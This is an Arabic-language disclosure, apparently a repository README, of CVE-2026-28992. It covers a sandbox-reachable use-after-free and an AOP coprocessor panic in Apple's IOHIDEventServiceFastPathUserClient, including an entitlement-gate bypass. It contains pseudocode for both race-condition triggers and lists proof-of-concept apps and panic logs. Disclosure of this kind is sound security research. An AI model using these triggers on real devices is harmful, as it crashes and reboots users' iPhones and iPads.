
ثغرة UAF (استخدام بعد التحرير) وانهيار المعالج المساعد AOP في IOHIDEventServiceFastPathUserClient. لا تتطلب أي entitlements، ويمكن الوصول إليها من عزلة التطبيق (app sandbox).
CVE-2026-28992 | المؤلف: Johnny Franks (@zeroxjf)
المكوّن: IOHIDFamily
التأثير: قد يتمكن المهاجم من التسبب بإنهاء غير متوقع للتطبيق
الوصف: تمت معالجة ثغرة تلف الذاكرة من خلال تحسين القفل.
كلا الإثباتين المفاهيميين (PoCs) يسببان انهيار النواة (kernel panic) وإعادة تشغيل الأجهزة المتأثرة. احفظ عملك أولاً.
توجد حالتا سباق في IOHIDEventServiceFastPathUserClient (إضافة نواة IOHIDFamily). لا تتطلبان أي امتيازات (entitlements). يمكن الوصول إليهما من بيئة الحماية (sandbox) العادية للتطبيقات.
يستخدم كلا المتجهين IOServiceOpen(service, task, 2, &conn). تتحقق بوابة الفتح sel0 من FastPathHasEntitlement وFastPathMotionEventEntitlement في OSDictionary المقدَّم من المتصل بدلاً من أعلام الامتيازات المخزنة أثناء initWithTask؛ يمكن لتطبيق معزول (sandboxed) تجاوز البوابة عبر تضمين هذه المفاتيح في بنية الإدخال.
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}
// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}
// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
uint64_t args[2] = { 0, 1 };
IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}
مسار الإغلاق (sel1) يُسقط حالة المزوّد (provider) ويمسح +0x109 بدون قفل. يفحص copyEvent (sel2) عَلَمًا مختلفًا (+0x108) تحت قفل لكل اتصال، ثم يستدعي المزوّد. وجود اتصالات متعددة لنفس المزوّد يعني أن الإغلاق وcopyEvent يعملان في نطاقات قفل مختلفة على كائنات مشتركة في جهة المزوّد.
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// opener threads: continuous close → reopen
while (!stop) {
IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
// create + gate 16 probe connections
io_connect_t probes[16];
for (int i = 0; i < 16; i++) {
IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// destroy all probes — each fires async didTerminate → teardown
// teardown removes/frees provider-facing state while opener threads iterate
// provider-facing state via the open path
for (int i = 0; i < 16; i++)
mach_port_destroy(mach_task_self(), probes[i]);
usleep(80000); // 80ms race window
}
يُطلق mach_port_destroy الاستدعاء غير المتزامن didTerminate → الإغلاق/التفكيك (teardown)، دون مزامنة مع مسارات الفتح sel0 المتزامنة على الاتصالات الأخرى. يؤدي هذا أيضًا إلى إشباع صندوق بريد المزوّدات المدعومة بـ SPU، مما يُفعّل مهلة المراقب (watchdog) الخاصة بـ AOP.
| Path | Description |
|---|---|
UAFPoc/ | تطبيق iOS — يطلق UAF (خطأ وسم MTE على A17+، إحباط بيانات على ما قبل A17) |
AOPPanicPoc/ | تطبيق iOS — يطلق هلع المعالج المساعد AOP عبر إشباع صندوق بريد SPU |
panic-logs/mte-tag-fault.ips | خطأ فحص وسم النواة — iPhone 17 Pro Max (A19 Pro, MTE+PAC) |
panic-logs/ipad-data-abort.ips | إحباط بيانات النواة — iPad Pro 12.9" الجيل الثاني (A10X، بدون MTE/PAC) |
panic-logs/aop-panic.ips | هلع المعالج المساعد AOP — iPhone 17 Pro Max (فيض صندوق بريد SPU) |